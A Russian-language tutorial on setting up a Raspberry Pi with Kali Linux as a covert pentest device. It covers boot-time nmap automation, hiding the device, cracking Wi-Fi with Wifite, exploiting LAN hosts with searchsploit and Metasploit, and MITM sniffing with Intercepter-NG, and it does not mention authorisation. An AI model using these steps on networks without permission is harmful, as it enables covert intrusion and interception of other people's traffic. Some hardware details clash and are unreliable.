Всем привет! Сегодня мы поговорим про такую железку как Raspberry Pi, про ее значение при пентесте и про интересные хакерские самоделки из этого девайса.
Содержание:
1. Введение
- Что такое Raspberry Pi?
- История создания Raspberry Pi
- Популярность и применение Raspberry Pi
- Характеристики
- Raspberry Pi OS
2. Основные привилегии Raspberry Pi для хакера
- Маленький размер и портативность Raspberry Pi
- Гибкость и настраиваемость девайса
- Доступность и относительная низкая стоимость Raspberry Pi
3. Внешний вид девайса
- Смотрим на плату
- Процессор и видеочип
- Порты и слоты
- Аксессуары
4. Подготовка Raspberry Pi к пентесту
- Установка Kali Linux на Raspberry Pi
- Настройка системы
- Настройка автоматизации атак
- Скрываем железку от посторонних глаз
5. Пентест с использованием Raspberry Pi
- Кейс №1 Атака на Wifi сеть
- Кейс №2 Атака на локальную сеть
- Кейс №3 Ручной сниффер сетевого траффика
6. Дополнительные проекты с девайсом
- Анонимный роутер из Raspberry pi
- Poisontap
Введение.
Что такое Raspberry Pi?
Raspberry Pi - это серия одноплатных компьютеров, разработанных компанией Raspberry Pi Foundation.
Они представляют собой небольшие платы размером с кредитную карту, оснащенные процессорами ARM, различными портами ввода-вывода, оперативной памятью и операционной системой.
Raspberry Pi создан с целью поощрения обучения программированию и электронике, а также для разработки и создания различных проектов в области информационных технологий но также , это очень хороший инструмент для пентестера)
Список всех моделей Raspberry Pi:
- Raspberry Pi 1 Model A+: Это первая модель Raspberry Pi, выпущенная в 2014 году. Она оснащена одноядерным процессором ARM1176JZF-S с тактовой частотой 700 МГц, 512 МБ оперативной памяти, одним USB-портом, HDMI-портом и разъемом для карт памяти.
- Raspberry Pi 1 Model B+: Это улучшенная версия оригинальной модели Raspberry Pi 1. Она имеет те же характеристики, что и Model A+, но с дополнительными USB-портами, Ethernet-портом и 40 GPIO-пинами.
- Raspberry Pi 2 Model B: Выпущенная в 2015 году, эта модель оснащена четырехядерным процессором ARM Cortex-A7 с тактовой частотой 900 МГц, 1 ГБ оперативной памяти, четырьмя USB-портами, HDMI-портом и 40 GPIO-пинами.
- Raspberry Pi 3 Model B/B+: Это одна из самых популярных моделей Raspberry Pi. Она имеет четырехядерный процессор ARM Cortex-A53 с тактовой частотой 1,2 ГГц, 1 ГБ или 2 ГБ оперативной памяти, четырьмя USB-портами, HDMI-портом, Ethernet-портом, Wi-Fi и Bluetooth.
- Raspberry Pi 4 Model B: Это наиболее мощная модель Raspberry Pi, выпущенная в 2019 году. Она оснащена четырехядерным процессором ARM Cortex-A72 с тактовой частотой до 1,5 ГГц, 2 ГБ, 4 ГБ или 8 ГБ оперативной памяти, двумя USB 2.0 портами и двумя USB 3.0 портами, двумя micro HDMI-портами, Ethernet-портом, Wi-Fi и Bluetooth.
- Raspberry Pi Zero: Это наиболее компактная и доступная модель Raspberry Pi. Она имеет одноядерный процессор ARM11 с тактовой частотой 1 ГГц, 512 МБ оперативной памяти, одним micro USB-портом и разъемом для карт памяти.
- Raspberry Pi Zero W: Это версия Raspberry Pi Zero с добавленным Wi-Fi и Bluetooth.
- Raspberry Pi Pico: Raspberry Pi Pico - это несколько иное устройство, отличающееся от остальных моделей. Он представляет собой микроконтроллерную плату, оснащенную процессором RP2040 и различными GPIO-пинами для подключения к различным электронным компонентам.
История создания Raspberry Pi
В 2008 году Эбен Уптон, Роб Маллинсон , Джек Лане и Алан Майерс создали Raspberry Pi Foundation.
Они решили разработать недорогой и универсальный компьютер, который был бы доступен для обучения программированию и электронике.
Их целью было предложить студентам, начинающим программирование, доступную платформу для практического применения своих навыков.
В 2011 году первая модель Raspberry Pi была представлена на выставке электроники в Лондоне. Она была оснащена процессором Broadcom BCM2835, 256 МБ оперативной памяти, разъемом Ethernet, HDMI-портом, а также разъемами USB и GPIO.
В 2012 году Raspberry Pi Model B начала поступать в продажу. Это была улучшенная версия оригинальной модели, с дополнительными портами USB и большим объемом оперативной памяти.
Популярность и применение Raspberry Pi
Сама Raspberry Pi очень популярна из-за своей компактности и мощности как для компьютера с размером как кредитка)
Некоторые из основных областей, где Raspberry Pi нашла свое применение:
Образование: Raspberry Pi играет важную роль в сфере образования. Он предоставляет доступную и простую в использовании платформу для обучения программированию, электронике и компьютерным наукам. В учебных заведениях Raspberry Pi используется для создания уроков по программированию, робототехнике, созданию игр и другим активностям, которые развивают навыки и интерес студентов к технологиям.
Домашние проекты и хобби: Raspberry Pi позволяет людям создавать различные домашние проекты и устройства. Он может использоваться для создания медиа-центров, умных домов, систем безопасности, автоматизации домашних устройств и многое другое. Благодаря его низкой стоимости и гибкости, Raspberry Pi стал популярным выбором для хобби-разработчиков и энтузиастов.
Интернет вещей (IoT): Raspberry Pi идеально подходит для разработки устройств Интернета вещей. Благодаря своим возможностям подключения к различным сенсорам, модулям связи и периферийным устройствам, он может быть использован для создания умных устройств, мониторинга и управления системами, автоматизации и многих других IoT-приложений.
Разработка программного обеспечения и прототипирование: Raspberry Pi предлагает среду для разработки программного обеспечения. Он поддерживает различные языки программирования, включая Python, C++, Java и другие. Разработчики могут использовать Raspberry Pi для создания и тестирования программного обеспечения, прототипирования проектов и проведения экспериментов.
Ретроигры и развлечения: Raspberry Pi может быть превращен в эмулятор классических игровых консолей и аркадных автоматов. С помощью специальных программ и ретроигровых дистрибутивов, пользователи могут воссоздать и наслаждаться играми прошлого.
Коммерческие проекты: Raspberry Pi нашел применение в коммерческих проектах и проектах и промышленных решениях. Он может быть использован для создания систем мониторинга, управления автоматическими процессами, контроля доступа и других задач, требующих небольших вычислительных мощностей.
Характеристики
Raspberry Pi 1 Model A+:
- Процессор: ARM1176JZF-S с тактовой частотой 700 МГц
- Оперативная память: 512 МБ
- Хранилище данных: Карта памяти SD
- Порты: 1 x USB 2.0, HDMI, аудиовыход, GPIO (26 пинов), карта памяти microSD, CSI, DSI
- Беспроводные коммуникации: Нет
- Сеть: Ethernet (10/100 Мбит/с)
- Размеры: 65 x 56 x 12 мм
Raspberry Pi 1 Model B+:
- Процессор: ARM1176JZF-S с тактовой частотой 700 МГц
- Оперативная память: 512 МБ
- Хранилище данных: Карта памяти SD
- Порты: 4 x USB 2.0, HDMI, аудиовыход, GPIO (40 пинов), карта памяти microSD, CSI, DSI
- Беспроводные коммуникации: Нет
- Сеть: Ethernet (10/100 Мбит/с)
- Размеры: 85 x 56 x 17 мм
Raspberry Pi 2 Model B:
- Процессор: Broadcom BCM2836 с 4 ядрами ARM Cortex-A7 и тактовой частотой 900 МГц
- Оперативная память: 1 ГБ
- Хранилище данных: Карта памяти microSD
- Порты: 4 x USB 2.0, HDMI, аудиовыход, GPIO (40 пинов), карта памяти microSD, CSI, DSI
- Беспроводные коммуникации: Нет
- Сеть: Ethernet (10/100 Мбит/с)
- Размеры: 85 x 56 x 17 мм
Raspberry Pi 3 Model B/B+:
- Процессор: Broadcom BCM2837 с 4 ядрами ARM Cortex-A53 и тактовой частотой 1,2 ГГц (у Model B+) / 1,4 ГГц (у Model B)
- Оперативная память: 1 ГБ (у Model B+) / 2 ГБ (у Model B+)
- Хранилище данных: Карта памяти microSD
- Порты: 4 x USB 2.0, HDMI, аудиовыход, GPIO (40 пинов), карта памяти microSD, CSI, DSI
- Беспроводные коммуникации: Wi-Fi 802.11n, Bluetooth 4.2 (у Model B+), Wi-Fi 802.11ac, Bluetooth 4.2 (у Model B)
- Сеть: Ethernet (10/100 Мбит/с)
- Размеры: 85 x 56 x 17 мм
Raspberry Pi 4 Model B:
- Процессор: Broadcom BCM2711 с 4 ядрами ARM Cortex-A72 и тактовой частотой 1,5 ГГц
- Оперативная память: 2 ГБ, 4 ГБ или 8 ГБ (варианты памяти)
- Хранилище данных: Карта памяти microSD
- Порты: 2 x USB 2.0, 2 x USB 3.0, 2 x Micro HDMI, аудиовыход, GPIO (40 пинов), карта памяти microSD, CSI, DSI
- Беспроводные коммуникации: Wi-Fi 802.11ac, Bluetooth 5.0
- Сеть: Gigabit Ethernet
- Размеры: 88 x 58 x 19,5 мм
Raspberry Pi Zero:
- Процессор: Broadcom BCM2835 с одним ядром ARM11 и тактовой частотой 1 ГГц
- Оперативная память: 512 МБ
- Хранилище данных: Карта памяти microSD
- Порты: Mini HDMI, 2 x Micro USB (1 для питания, 1 для данных), 40-контактный GPIO-разъем, карта памяти microSD
- Беспроводные коммуникации: Wi-Fi 802.11n, Bluetooth 4.1 (в некоторых моделях)
- Размеры: 65 x 30 x 5 мм
Raspberry Pi Zero W:
- Процессор: Broadcom BCM2835 с одним ядром ARM11 и тактовой частотой 1 ГГц
- Оперативная память: 512 МБ
- Хранилище данных: Карта памяти microSD
- Порты: Mini HDMI, Micro USB, 40-контактный GPIO-разъем, карта памяти microSD
- Беспроводные коммуникации: Wi-Fi 802.11n, Bluetooth 4.1
- Размеры: 65 x 30 x 5 мм
Raspberry Pi 400:
- Процессор: Broadcom BCM2711 с 4 ядрами ARM Cortex-A72 и тактовой частотой 1,8 ГГц
- Оперативная память: 4 ГБ или 8 ГБ (варианты памяти)
- Хранилище данных: Карта памяти microSD
- Порты: 2 x USB 3.0, 1 x USB 2.0, 2 x Micro HDMI, аудиовыход, GPIO (40 пинов), карта памяти microSD
- Беспроводные коммуникации: Wi-Fi 802.11ac, Bluetooth 5.0
- Сеть: Gigabit Ethernet
- Интегрированная клавиатура и тачпад
- Размеры: 286 x 122 x 23 мм
Raspberry Pi OS
Raspberry Pi OS - Операционная система на базе Debian ,работающая на ядре Linux.
Разработана специально для использования на устройствах Raspberry Pi.
Основные особенности Raspberry Pi OS:
Базируется на Linux: Raspberry Pi OS основана на дистрибутиве Debian Linux. Это обеспечивает стабильность, надежность и широкий выбор пакетов и приложений для разработки и использования.
Поддержка аппаратных возможностей Raspberry Pi: Операционная система полностью оптимизирована для работы с аппаратными компонентами Raspberry Pi, включая процессор, графику, GPIO-пины, камеру и другие периферийные устройства.
Легкая установка: Raspberry Pi OS поставляется в виде образа, который можно записать на microSD-карту и установить на Raspberry Pi с помощью инструмента для записи образов.
Пользовательский интерфейс: Raspberry Pi OS предлагает несколько вариантов пользовательского интерфейса, включая рабочий стол PIXEL (Pi Improved Xwindows Environment, Lightweight) и консольный интерфейс командной строки.
Поддержка программного обеспечения: Операционная система поставляется с предустановленными приложениями и инструментами, такими как веб-браузер Chromium, офисные приложения LibreOffice, инструменты разработки Python и многое другое.
Обновления и поддержка: Raspberry Pi OS регулярно обновляется и поддерживается Raspberry Pi Foundation. Пользователи получают доступ к последним обновлениям безопасности, исправлениям ошибок и новым функциям.
Коммьюнити и поддержка: У Raspberry Pi OS активное сообщество пользователей, где можно найти помощь, обмен опытом и дополнительные ресурсы для использования операционной системы.
Raspberry Pi Imager - это официальное приложение, предоставляемое Raspberry Pi Foundation, которое облегчает установку операционной системы на Raspberry Pi.
Это мощный инструмент, который позволяет пользователям легко записывать образы операционных систем на microSD-карту для использования с Raspberry Pi.
Установка прошивки
Загрузка Raspberry Pi Imager:
Скачайте и установите Raspberry Pi Imager с официального сайта Raspberry Pi Foundation для вашей операционной системы.
Выбор операционной системы:
Запустите Raspberry Pi Imager.
В Raspberry Pi Imager выберите операционную систему, которую вы хотите установить на Raspberry Pi. Например, выберите "Raspberry Pi OS (32-bit)".
Выбор целевого носителя:
Подключите microSD-карту к компьютеру с помощью кард-ридера.
В Raspberry Pi Imager выберите опцию "Выбрать" и выберите вашу microSD-карту в списке доступных устройств.
Запись образа на microSD-карту:
Убедитесь, что выбран правильный носитель (microSD-карта).
Нажмите кнопку "Записать" (Write) в Raspberry Pi Imager, чтобы начать процесс записи образа на microSD-карту.
Подождите, пока Raspberry Pi Imager скопирует файлы образа на microSD-карту. Это может занять некоторое время.
Завершение установки:
По завершении процесса записи образа Raspberry Pi OS на microSD-карту, вы можете извлечь microSD-карту из кард-ридера.
Подключение и запуск Raspberry Pi:
Вставьте подготовленную microSD-карту в соответствующий слот на Raspberry Pi.
Подключите необходимые кабели (HDMI, клавиатура, мышь, питание и т. д.).
Включите Raspberry Pi, подавая питание на него.
Основные привилегии Raspberry Pi для хакера
Маленький размер и портативность Raspberry Pi
Маленький размер устройства позволяет незаметно прятать и скрывать устройство от лишних глаз а также использовать полноценный компьютер у себя в кармане.
Сочетание маленького размера, портативности и функциональности Raspberry Pi делает его идеальным выбором для пентестеров, которые нуждаются в гибком и мобильном инструменте для проведения тестирования безопасности в различных условиях и местах.
Размер Raspberry Pi позволяет легко переносить его с места на место, что делает его идеальным инструментом для мобильного пентестинга. Пентестеры могут брать Raspberry Pi с собой и использовать его для проведения тестирования на месте, в офисах клиентов или других физических местах.
Низкопрофильность: Маленький размер Raspberry Pi позволяет его дискретно использовать в различных сценариях. Он легко скрыть или интегрировать в другие устройства или объекты, чтобы проводить скрытое или физическое тестирование безопасности.
Энергоэффективность: Raspberry Pi потребляет небольшое количество энергии, что делает его идеальным для мобильного использования. Он может быть запитан от портативной батареи, а это значит, что пентестеры могут продолжать работу вдали от электрической розетки, что особенно полезно при проведении тестирования на открытом воздухе или в удаленных местах.
Интеграция с другими устройствами: Raspberry Pi имеет различные порты и интерфейсы, которые позволяют его легко интегрировать с другими устройствами и сенсорами. Это дает пентестерам возможность создавать комплексные системы для проведения тестирования безопасности с использованием Raspberry Pi в качестве управляющего устройства.
Замеры устройства:
Raspberry Pi 4 Model B:
- Длина: 85 мм
- Ширина: 56 мм
- Высота: 17 мм
Raspberry Pi 3 Model B+:
- Длина: 85 мм
- Ширина: 56 мм
- Высота: 17 мм
Raspberry Pi 2 Model B:
- Длина: 85 мм
- Ширина: 56 мм
- Высота: 17 мм
Raspberry Pi 1 Model B+:
- Длина: 85 мм
- Ширина: 56 мм
- Высота: 17 мм
Raspberry Pi Zero W:
- Длина: 65 мм
- Ширина: 30 мм
- Высота: 5 мм
Гибкость и настраиваемость девайса
Гибкость и настраиваемость Raspberry Pi при пентесте играют важную роль и предоставляют хакерам возможность адаптировать устройство к своим потребностям и требованиям конкретной задачи.
Выбор операционной системы: Raspberry Pi поддерживает различные операционные системы, включая специализированные дистрибутивы для пентестинга, такие как Kali Linux. Хакеры могут выбирать наиболее подходящую операционную систему в зависимости от своих навыков, предпочтений и требований задачи.
Установка и настройка инструментов: Raspberry Pi позволяет устанавливать и настраивать широкий спектр инструментов для пентестинга и анализа безопасности. Хакеры могут выбирать и настраивать инструменты в соответствии с конкретными сценариями и целями пентеста.
Доступ к аппаратным ресурсам: Raspberry Pi предоставляет доступ к различным аппаратным ресурсам, таким как GPIO порты, камера, звуковая система и другие. Это позволяет хакерам интегрировать дополнительные устройства и сенсоры, используя их для сбора данных или взаимодействия с окружающей средой.
Настройка сети и подключение: Raspberry Pi имеет различные опции подключения, включая Ethernet, Wi-Fi и Bluetooth. Хакеры могут настраивать сетевые параметры, использовать Raspberry Pi в качестве точки доступа или создавать мосты для проведения специфических атак или мониторинга сети.
Расширение возможностей: Raspberry Pi можно расширять с помощью дополнительных модулей и шилдов. Хакеры могут подключать дополнительные устройства, такие как GPS-модули, радиомодули или считыватели RFID, чтобы расширить функциональность Raspberry Pi и использовать их в контексте пентеста.
Автоматизация и программирование: Raspberry Pi предоставляет возможности для автоматизации и программирования. Хакеры могут использовать различные языки программирования, такие как Python, для создания собственных скриптов и инструментов, автоматизации задач и анализа данных.
Гибкость и настраиваемость Raspberry Pi позволяют хакерам создавать индивидуальные и настраиваемые платформы для проведения пентестов, адаптированных к конкретным сценариям и требованиям задачи. Это помогает повысить эффективность и точность проведения пентестинга и обеспечивает большую гибкость при адаптации к различным ситуациям и условиям.
Доступность и относительная низкая стоимость Raspberry Pi
Низкая стоимость: Raspberry Pi предлагает набор функций и возможностей по относительно низкой цене. В сравнении с другими компьютерами и микроконтроллерами Raspberry Pi предоставляет мощность и гибкость по более доступной цене, что делает его привлекательным для хакеров с различным уровнем опыта и бюджетом.
Широкое распространение и доступность: Raspberry Pi пользуется огромной популярностью и широким распространением. Он доступен для покупки во многих онлайн-магазинах и физических магазинах по всему миру. Это означает, что хакеры могут легко получить доступ к Raspberry Pi и начать использовать его в своих проектах без лишних сложностей.
Разнообразие моделей и вариантов: Raspberry Pi предлагает различные модели с различными характеристиками и ценами. Это позволяет выбрать подходящую модель в соответствии с требованиями конкретного проекта или задачи. Например, Raspberry Pi Zero является наименее дорогой моделью, а Raspberry Pi 4 предлагает больше вычислительной мощности и возможностей за небольшую дополнительную стоимость.
Сообщество и поддержка: Raspberry Pi имеет активное сообщество пользователей и разработчиков. Существует множество онлайн-ресурсов, форумов, блогов и видеоуроков, где можно найти информацию, советы и поддержку по использованию Raspberry Pi. Это помогает хакерам быстро разобраться с устройством, обмениваться опытом и получать помощь в решении возникающих вопросов.
Благодаря доступности и относительно низкой стоимости Raspberry Pi становится доступным инструментом для хакеров, позволяющим им воплощать свои идеи и проекты без значительных финансовых затрат. Это позволяет большему числу людей войти в область хакинга и пентестинга, расширяя сообщество и способствуя инновациям в сфере информационной безопасности.
Внешний вид девайса
Смотрим на плату
Компоненты на плате: Raspberry Pi имеет различные компоненты, включая процессор, память, видеочип, аудиочип, контроллеры портов и другие элементы. Изучение этих компонентов может помочь хакерам в понимании архитектуры устройства и определении его возможностей.
Маркировки на плате: На плате Raspberry Pi могут быть различные маркировки и надписи, указывающие на разъемы, порты, пины GPIO и другие функциональные элементы. Изучение этих маркировок может быть полезным при подключении внешних устройств или проведении физических атак.
Пины GPIO: Raspberry Pi имеет GPIO (General Purpose Input/Output) пины, которые позволяют хакерам подключать дополнительные устройства и сенсоры. Изучение расположения и функциональности пинов GPIO может быть полезным при разработке собственных проектов или взаимодействии с внешними устройствами в рамках пентеста.
Слоты для карт памяти: Raspberry Pi обычно использует слот microSD для загрузки операционной системы и хранения данных. Изучение слота для карты памяти может быть полезным при проведении анализа безопасности файловой системы или поиске следов вредоносного программного обеспечения.
Оригинальность и целостность платы: При пентесте важно проверить оригинальность и целостность платы Raspberry Pi. Хакеры могут искать подозрительные маркировки, следы вмешательства или другие аномалии, которые могут свидетельствовать о возможной модификации или компрометации устройства.
Изучение ревизии платы: Raspberry Pi выпускает различные ревизии платы с различными улучшениями и исправлениями. Изучение ревизии платы может быть полезным для понимания ее функциональности и определения совместимости с определенным программным обеспечением или аксессуарами.
При проведении пентеста с использованием Raspberry Pi, изучение платы и ее компонентов может помочь вам понять аппаратные возможности устройства, обнаружить потенциальные уязвимости и использовать их в своих целях.
Процессор и видеочип
Процессор:
В зависимости от конкретной модели Raspberry Pi, процессор может быть разным. Например, в Raspberry Pi 4 используется 64-битный четырехъядерный процессор ARM Cortex-A72 с тактовой частотой до 1,5 ГГц.
Ранние модели Raspberry Pi могут иметь меньшую производительность и более старую архитектуру процессора.
Процессор Raspberry Pi обладает низким энергопотреблением и хорошей производительностью для типичных задач, которые выполняются на Raspberry Pi, таких как веб-сервер, мультимедийное воспроизведение, программирование и другие.
Процессор Raspberry Pi имеет встроенный графический процессор (GPU), который обеспечивает обработку графики и вывод изображения на подключенный монитор или дисплей.
Видеоплата:
Raspberry Pi также содержит видеоплату, которая обеспечивает графические возможности устройства. Видеоплата обрабатывает графические данные и отвечает за вывод изображения на подключенные дисплеи или мониторы.
Raspberry Pi поддерживает различные разрешения и форматы видео, включая высокое разрешение (Full HD) и 4K Ultra HD в некоторых моделях.
Видеоплата Raspberry Pi также может поддерживать аппаратное декодирование видео в различных форматах, таких как H.264 и H.265, что позволяет плавное воспроизведение видео с минимальной нагрузкой на процессор.
Комбинация процессора и видеоплаты в Raspberry Pi обеспечивает достаточную вычислительную мощность и графические возможности для множества задач, включая веб-серверы, медиа-плееры, игры и другие приложения. Это делает Raspberry Pi привлекательным выбором для различных проектов, в том числе и в области хакинга и пентеста, где необходимы вычислительные мощности и графическая обработка
Порты и слоты
USB-порты: Raspberry Pi обычно имеет несколько USB-портов, которые позволяют подключать различные периферийные устройства, такие как клавиатура, мышь, флеш-накопитель, Wi-Fi адаптер и другие. USB-порты обеспечивают простое расширение возможностей Raspberry Pi и подключение внешних устройств.
HDMI-порт: HDMI-порт позволяет подключать Raspberry Pi к монитору или телевизору для вывода видеосигнала. Это позволяет использовать Raspberry Pi для мультимедийных приложений, просмотра видео, работы с графикой и других задач, требующих визуального вывода.
Аудиоразъем: Raspberry Pi имеет аудиоразъем, который позволяет подключать наушники, колонки или другие аудиоустройства. Это позволяет воспроизводить звуковые файлы, использовать голосовые команды или работать с аудиоинтерфейсами.
Ethernet-порт: Некоторые модели Raspberry Pi могут быть оснащены Ethernet-портом, который позволяет подключить Raspberry Pi к сети. Это обеспечивает возможность доступа к сетевым ресурсам, удаленное управление устройством или проведение сетевых тестов в рамках пентеста.
Слот microSD: Raspberry Pi использует слот microSD для загрузки операционной системы и хранения данных. MicroSD-карта содержит файловую систему и программное обеспечение, необходимое для работы Raspberry Pi. Загрузка операционной системы на Raspberry Pi происходит путем вставки microSD-карты в соответствующий слот.
GPIO: GPIO-пины представляют собой набор общего назначения пинов, которые можно использовать для подключения и управления различными электронными компонентами и сенсорами. GPIO-пины позволяют расширить функциональность Raspberry Pi и создавать собственные проекты.
Аксессуары
Из всех аксессуаров для Raspberry Pi , мы будем использовать Кейс для платы (Корпус) и сенсорный резистивный дисплей от Waveshare 3.5 дюймов.
Кейс:
Это один из самых популярных аксессуаров для Raspberry Pi , он полезен для охлаждения и переноски платы.
Несколько видов кейсов:
Пластиковый корпус (удобен для переноски платы , предает ей защиту от внешних факторов)
Корпус с вентиляцией (Небольшие радиаторы и отверстия для охлаждения)
Корпус с активным охлаждением (использует мини кулер который питается через GPIO)
Дисплей:
Я использую дисплей от Waveshare на 3.5 дюймов.
Подключение и питание идет через GPIO пины.
Характеристики дисплея:
- Разрешение: 480 х 320 пикселей
- Контроллер: XPT2046
- Тип дисплея: TFT
- Интерфейс: SPI
- Тип Touch Screen: резистивный
- Количество цветов: 65536
- Подсветка экрана: LED
- Соотношение сторон: 8:5
- Размеры: 85,06 х 56,21.
Установка драйвера на Kali Linux
sudo rm -rf LCD-show-kali
git clone https://github.com/lcdwiki/LCD-show-kali.git
chmod -R 755 LCD-show-kali
cd LCD-show-kali/
Теперь скачиваем https://github.com/lcdwiki/LCD-show-kali.git
Тут мы найдем скрипты на Bash-e для установки драйвера под вашу модель.
Подготовка Raspberry Pi к пентесту
Установка Kali Linux на Raspberry Pi
1. Качаем Raspberry Pi Imager
- Скачать для Linux: https://downloads.raspberrypi.org/imager/imager_latest_amd64.deb
2. Качаем ARM образ Kali Linux для Raspberry Pi
- Raspberry Pi 2, 3, 4 and 400 (32-bit) - https://kali.download/arm-images/kali-2023.2/kali-linux-2023.2-raspberry-pi-armhf.img.xz
- Raspberry Pi 2 (v1.2), 3, 4 and 400 (64-bit) - https://kali.download/arm-images/kali-2023.2/kali-linux-2023.2-raspberry-pi-arm64.img.xz
- Raspberry Pi 1 (Original) - https://kali.download/arm-images/kali-2023.2/kali-linux-2023.2-raspberry-pi1-armel.img.xz
- Raspberry Pi Zero 2 W (PiTail) - https://kali.download/arm-images/ka...3.2-raspberry-pi-zero-2-w-pitail-armhf.img.xz
- Raspberry Pi Zero W (PiTail) - https://kali.download/arm-images/ka...023.2-raspberry-pi-zero-w-pitail-armel.img.xz
3. Устанавливаем образ ОС на SD карту.
- Вставляем SD карту в ПК.
- Запускаем Raspberry PI Imager.
- Выбираем скачанный образ прошивки и SD карту на которую мы будем записывать ОС.
- Нажимаем “Записать” и ждем завершение установки.
4. Установка и запуск Kali Linux на Raspberry Pi
После завершения установки ОС на SD карту , вставляем ее в Micro SD порт в Raspberry Pi и подаем на малинку питание через MicroUSB кабель.
Заранее подключите малинку к монитору через HDMI чтобы видеть прогресс установки системы.
После завершения развертки системы на Raspberry Pi , мы сможем полноценно пользоваться Kali Linux.
Настройка системы
Обновление системы
sudo apt update && sudo apt upgrade
Настройка Wi-Fi
Для этого отредактируйте файл /etc/wpa_supplicant/wpa_supplicant.conf, добавив следующую конфигурацию Wi-Fi:
network={ ssid="название_сети" psk="пароль_сети" }
Замените "название_сети" на имя вашей Wi-Fi-сети и "пароль_сети" на пароль сети.
Настройка статического IP-адреса
Вам нужно отредактировать файл /etc/dhcpcd.conf и добавить следующую конфигурацию:
interface wlan0 static ip_address=192.168.0.100/24 static routers=192.168.0.1 static domain_name_servers=192.168.0.1
Замените значения IP-адреса, маршрутизатора и DNS-сервера на соответствующие для вашей сети.
Настройка автоматизации атак
Автоматизация действий системы на Raspberry Pi – это очень важная фишка при пентесте , потому что для полноценной работы с устройством нужно клавиатуру , мышь , монитор , и источник питания.
С помощью таких языков программирования как Python и Bash мы можем написать скрипты для автоматизации задуманных действий и прописать их в автозагрузку системы.
Создаем скрипт (bash: (сохранять с расширением .sh)):
#!/bin/bash
nmap -A <ваша подсеть> -oN nmap_report.txt
(Скрипт с помощью инструмента nmap сканирует всю подсеть (запишите ее вместо <ваша подсеть> ) и сохраняет файл с полученными данными в поточный каталог.)
Python (сохранять с расширением .py):
Import os
Os.system(nmap -A <ваша подсеть> -oN nmap_report.txt)
(Скрипт с помощью модуля OS , запускает инструмент nmap и сохраняет файл с полученными данными в поточный каталог.)
Автоматический запуск скрипта при подаче питания на Raspberry Pi:
sudo nano /etc/rc.local
Прокрутите вниз файла перед строкой exit 0 и добавьте команду. Например, если вы хотите запустить скрипт myscript.sh, добавьте следующую строку перед exit 0:
/полный/путь/к/myscript.sh
Сохраните файл и закройте редактор.
Скрываем железку от посторонних глаз
Выбор корпуса:
Выберите корпус для Raspberry Pi, который соответствует окружению, где вы размещаете устройство.
Это поможет ему выглядеть как обычное устройство и не привлекать внимания.
Интеграция с другими устройствами
Разместите Raspberry Pi внутри других устройств, чтобы скрыть его. Например, вы можете спрятать его внутри роутера или телевизора.
Скрытие кабелей
Организуйте кабели и провода Raspberry Pi таким образом, чтобы они были скрыты и не привлекали внимания. Используйте специальные кабельные каналы или скройте их за мебелью.
Функциональная маскировка
Используйте Raspberry Pi в реальных функциях, чтобы он выглядел как обычное устройство. Например, вы можете использовать его в качестве медиаплеера или игровой приставки.
Физическая маскировка помогает сохранить конфиденциальность и безопасность во время пентеста, но не обеспечивает абсолютную защиту от определения устройства.
Пентест с использованием Raspberry Pi
Кейс №1. Атака на Wifi сеть
Для атаки на Wifi точку , мы будем использовать инструмент Wifite , он установлен в Kali Linux по умолчанию.
Для атаки нам нужно:
- Raspberry Pi
- Кабель MicroUSB
- Wifi адаптер (я использую Alfa awus 1900)
- Power bank
- Клавиатура
- Дисплей
1. Устанавливаем драйвера
2. Подключаем клавиатуру , дисплей и питание.
У нас должна получиться вот такая схема.
Смотрим чтобы после подачи питания у нас все корректно работало.
3. Запуск инструмента Wifite
sudo wifite
Теперь выбираем нашу цель , выбрав цифру возле точки доступа wifi.
Ждем пока Wifite взломает пароль. После взлома мы увидим пароль в консоли.
Кейс №2. Атака на локальную сеть
1. Устанавливаем драйвера
2. Подключаем клавиатуру , дисплей и питание.
3. Information Gathering
- Подключаемся к сети через Wifi или Ethernet.
- С помощью команды ip a узнаем в которой подсети мы находимся.
Теперь с помощью команды
nmap -A 192.168.0.0/24
(не забудьте изменить под свою подсеть) запускаем сканирование подсети.
Отсюда мы можем узнать такую информацию:
- IP устройства
- MAC устройства
- Открытые порты на устройстве
- Версии служб на устройстве
- Операционная система устройства
4. Поиск уязвимостей в хостах
Используя инструмент Searchsploit , мы будем искать уязвимости в зависимостях и службах хостов.
Searchsploit <ключевое слово>
Ключевое слово:
- ОС хоста
- Версия службы хоста
- Идентификация устройства через веб панель
После поиска , инструмент выдаст нам информацию об уязвимости , и путь у файлу с эксплоитом.
Для запуска файла , нам нужно узнать полный путь к нему , делаем
locate <path из searchsploit>
5. Эксплуатация уязвимостей
Используя скрипы которые нам выдал Searchsploit , мы можем эксплуатировать найденную уязвимость и получить доступ к устройству.
Также используя инструмент Metasploit Framework ,мы будем эксплуатировать уязвимости.
sudo msfconsole
Для поиска информации об уязвимости и эксплоита , пишем
search <ключевое слово>
Ключевое слово:
- ОС хоста
- Версия службы хоста
- Идентификация устройства через веб панель
- Для выбора сплоита пишем use <номер сплоита>
- Для получения информации об уязвимости и эксплоите , пишем info
- Для получения параметров запуска эксплоита , пишем show options
- Для изменения параметров эксплоита , пишем set <параметр> <значение параметра> (например: set rhost 192.168.0.1)
Кейс №3. Ручной сниффер сетевого траффика
MITM - атака - это тип атаки на сеть, когда злоумышленник встраивается между двумя коммуницирующими устройствами и перехватывает их сетевой трафик. Он получает возможность просматривать, изменять или даже вставлять свои данные в обмен информацией между устройствами, при этом они не осознают присутствие злоумышленника.
Перехват данных - это процесс перехвата и записи информации, передаваемой между устройствами в сети.
1. Установка Intercepter-NG
sudo apt install build-essential libpcap-dev
git clone https://github.com/intercepter-ng/intercepter-ng.git
cd intercepter-ng
sudo make
2. Запуск и настройка
sudo ./intercepter-ng
Сканируем сеть:
Заходим в раздел сканирования
И запускаем скан , кликая правой кнопкой мышки по пустому полю и выбирая “smart scan”
После скана выделяем все устройства и кликая правой кнопкой мыши , выбираем их как цель для атаки.
Переходим в раздел MITM
Тут мы нажимаем на 3 главных кнопочки:
Атака началась , теперь мы можем отключить клавиатуру и дисплей и спрятать Raspberry Pi подальше от лишних глаз.
После длительного времени , мы можем увидеть что у нас собрались некоторые данные , инструмент собирает такую инфу как:
Протоколы и типы пакетов: Intercepter-NG анализирует пакеты данных, перехватываемые в сети, и распознает используемые протоколы. Это может быть TCP, UDP, ICMP и другие протоколы. Также инструмент может отображать типы пакетов, такие как запросы HTTP, DNS-запросы и т.д.
URL-адреса и содержимое HTTP-трафика: Если Intercepter-NG перехватывает HTTP-трафик, то он может отображать URL-адреса, по которым осуществляются запросы. Кроме того, инструмент может показывать содержимое HTTP-трафика, включая заголовки и тело запросов и ответов.
